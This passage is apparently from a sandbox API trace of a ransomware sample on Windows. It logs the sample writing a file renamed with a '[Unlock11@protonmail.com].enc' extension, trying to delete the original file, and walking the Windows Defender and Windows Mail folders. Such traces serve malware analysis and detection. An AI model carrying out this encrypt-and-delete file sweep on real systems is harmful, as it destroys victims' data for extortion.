(x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.796] GetFileType (hFile=0x39c) returned 0x1 [0229.797] GetFileType (hFile=0x39c) returned 0x1 [0229.797] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.797] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.797] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.797] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.797] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.797] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.797] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.800] CloseHandle (hObject=0x39c) returned 1 [0229.800] CloseHandle (hObject=0x334) returned 1 [0229.800] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml")) returned 0 [0229.800] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41c3d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71274d1e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f78d0 [0229.802] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41c3d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71274d1e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.802] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc41d3f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0229.802] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa686fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa686fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa686fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1 [0229.802] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f4a2e, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xee5007f7, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x419f4a2e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x173a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0229.803] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f4a2e, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xee441c33, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x419f4a2e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xae5a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="MpClient.dll", cAlternateFileName="")) returned 1 [0229.803] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f4a2e, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xee631ad5, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x419f4a2e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x177a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1 [0229.803] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f4a2e, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xee54ccae, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x419f4a2e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x33a0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1 [0229.803] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41d9a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="Offline", cAlternateFileName="")) returned 1 [0229.803] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a3ad051, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a3ad051, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a3ad051, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3c1a0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="shellext.dll", cAlternateFileName="")) returned 1 [0229.803] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a3ad051, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a3ad051, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a3ad051, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3c1a0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="shellext.dll", cAlternateFileName="")) returned 0 [0229.803] FindClose (in: hFindFile=0x10f78d0 | out: hFindFile=0x10f78d0) returned 1 [0229.804] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US" (normalized: "c:\\program files (x86)\\windows defender\\en-us")) returned 0x10 [0229.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0229.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0229.805] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Defender\\EppManifest.dll" (normalized: "c:\\program files (x86)\\windows defender\\eppmanifest.dll")) returned 0x20 [0229.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0229.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0229.806] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" (normalized: "c:\\program files (x86)\\windows defender\\mpasdesc.dll")) returned 0x20 [0229.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0229.807] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Defender\\MpClient.dll" (normalized: "c:\\program files (x86)\\windows defender\\mpclient.dll")) returned 0x20 [0229.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a528 | out: hHeap=0x2ad0000) returned 1 [0229.808] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" (normalized: "c:\\program files (x86)\\windows defender\\mpoav.dll")) returned 0x20 [0229.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa68 | out: hHeap=0x2ad0000) returned 1 [0229.809] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" (normalized: "c:\\program files (x86)\\windows defender\\msmplics.dll")) returned 0x20 [0229.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa28 | out: hHeap=0x2ad0000) returned 1 [0229.809] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881198, Size=0x20) returned 0x33eacb0 [0229.809] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Defender\\Offline" (normalized: "c:\\program files (x86)\\windows defender\\offline")) returned 0x10 [0229.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0229.810] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Defender\\shellext.dll" (normalized: "c:\\program files (x86)\\windows defender\\shellext.dll")) returned 0x20 [0229.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0229.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0229.811] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\EppManifest.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Defender\\EppManifest.dll", lpFilePart=0x9bada4*="EppManifest.dll") returned 0x37 [0229.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0229.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0229.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0229.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0229.811] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll", lpFilePart=0x9bada4*="MpAsDesc.dll") returned 0x34 [0229.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0229.811] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\MpClient.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Defender\\MpClient.dll", lpFilePart=0x9bada4*="MpClient.dll") returned 0x34 [0229.812] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\MpOAV.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Defender\\MpOAV.dll", lpFilePart=0x9bada4*="MpOAV.dll") returned 0x31 [0229.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0229.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0229.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0229.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0229.812] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll", lpFilePart=0x9bada4*="MsMpLics.dll") returned 0x34 [0229.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0229.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0229.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0229.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0229.813] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\shellext.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Defender\\shellext.dll", lpFilePart=0x9bada4*="shellext.dll") returned 0x34 [0229.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0229.838] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc41d3f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f75d0 [0229.839] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc41d3f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.839] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xcd996200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="EppManifest.dll.mui", cAlternateFileName="")) returned 1 [0229.839] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0229.839] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x8400, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1 [0229.839] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x8400, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 0 [0229.839] FindClose (in: hFindFile=0x10f75d0 | out: hFindFile=0x10f75d0) returned 1 [0229.840] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\EppManifest.dll.mui" (normalized: "c:\\program files (x86)\\windows defender\\en-us\\eppmanifest.dll.mui")) returned 0x20 [0229.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd50 | out: hHeap=0x2ad0000) returned 1 [0229.840] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0229.840] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" (normalized: "c:\\program files (x86)\\windows defender\\en-us\\mpasdesc.dll.mui")) returned 0x20 [0229.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0229.844] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" (normalized: "c:\\program files (x86)\\windows defender\\en-us\\mpevmsg.dll.mui")) returned 0x20 [0229.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0229.845] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\EppManifest.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Defender\\en-US\\EppManifest.dll.mui", lpFilePart=0x9bada4*="EppManifest.dll.mui") returned 0x41 [0229.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0229.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0229.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0229.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0229.845] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui", lpFilePart=0x9bada4*="MpAsDesc.dll.mui") returned 0x3e [0229.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0229.845] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui", lpFilePart=0x9bada4*="MpEvMsg.dll.mui") returned 0x3d [0229.846] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\Offline\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41d9a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a50 [0229.846] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41d9a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.846] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41d9a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0229.846] FindClose (in: hFindFile=0x10f7a50 | out: hFindFile=0x10f7a50) returned 1 [0229.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0229.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab70 | out: hHeap=0x2ad0000) returned 1 [0229.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0229.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacb0 | out: hHeap=0x2ad0000) returned 1 [0229.847] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc4b15df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0229.848] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc4b15df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.848] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc4b24d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0229.848] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c1c00, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0229.849] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25f400, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0229.849] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xde00, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0229.849] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, 